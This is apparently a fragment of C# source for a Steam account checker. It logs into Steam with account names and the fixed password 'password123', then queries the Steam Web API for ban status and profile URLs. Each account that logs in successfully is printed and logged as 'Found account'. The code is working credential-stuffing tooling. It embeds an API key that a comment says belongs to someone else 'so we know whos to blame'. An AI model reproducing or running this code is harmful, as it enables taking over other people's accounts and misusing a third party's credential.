public static Config.UserInfo RetrieveInfo(string username, string password) { Class1.Username = username; Class1.Password = password; Class1.steamClient = new SteamClient(ProtocolType.Tcp); Class1.callbackManager = new CallbackManager(Class1.steamClient); Class1.steamUser = Class1.steamClient.GetHandler <SteamUser>(); Class1.callbackManager.Subscribe <SteamClient.ConnectedCallback>(new Action <SteamClient.ConnectedCallback>(Class1.IsConnected)); Class1.callbackManager.Subscribe <SteamClient.DisconnectedCallback>(new Action <SteamClient.DisconnectedCallback>(Class1.IsDisconnected)); Class1.callbackManager.Subscribe <SteamUser.LoggedOnCallback>(new Action <SteamUser.LoggedOnCallback>(Class1.LogIn)); Class1.callbackManager.Subscribe <SteamUser.LoggedOffCallback>(new Action <SteamUser.LoggedOffCallback>(Class1.LogOff)); Class1.Running = true; // SteamDirectory SteamDirectory.Initialize(0u).Wait(); Class1.steamClient.Connect(null); while (Class1.Running) { Class1.callbackManager.RunWaitCallbacks(TimeSpan.FromSeconds(3.0)); } Config.UserInfo UserInfo = new Config.UserInfo(); UserInfo.status = Class1.statusStr; UserInfo.steamid = Convert.ToString(Class1.steamid); Class1.steamClient.Disconnect(); return(UserInfo); }
private bool IsSteamAccGood(string accountname) { var accounts = new Config.Account(); //retrieve the good stuff ;) Config.UserInfo UserInfo = Class1.RetrieveInfo(accountname, "password123"); if (UserInfo.steamid.Length > 5) { using (WebClient webClient = new WebClient()) { try { //lets use rezonans api key so we know whos to blame Config.RootObject rootObject = (JObject.Parse(webClient.DownloadString("https://api.steampowered.com/ISteamUser/GetPlayerBans/v0001/?steamids=" + UserInfo.steamid + "&key=2FD6A7B83C334E2CE65868A38A6F3F6E")).Values().First <JToken>() as JArray).First <JToken>().ToObject <Config.RootObject>(); accounts.email = accountname; string h**o; h**o = GetSteamId(UserInfo.steamid); accounts.steamid = h**o; //ghett9 string geturl = webClient.DownloadString(string.Format("https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?steamids=" + UserInfo.steamid + "&key=2FD6A7B83C334E2CE65868A38A6F3F6E&format=xml")); if (geturl.Contains("profileurl")) { string url = GetStringBetween(geturl, "<profileurl>", "</profileurl>"); accounts.url = url; } Console.BackgroundColor = ConsoleColor.Blue; Console.ForegroundColor = ConsoleColor.White; Console.WriteLine("Found account: {0} {1} {2}", accounts.email, accounts.steamid, accounts.url); Console.ResetColor(); Log.Write(accounts); AccountsFound++; } catch { //catch exception } } } return(true); }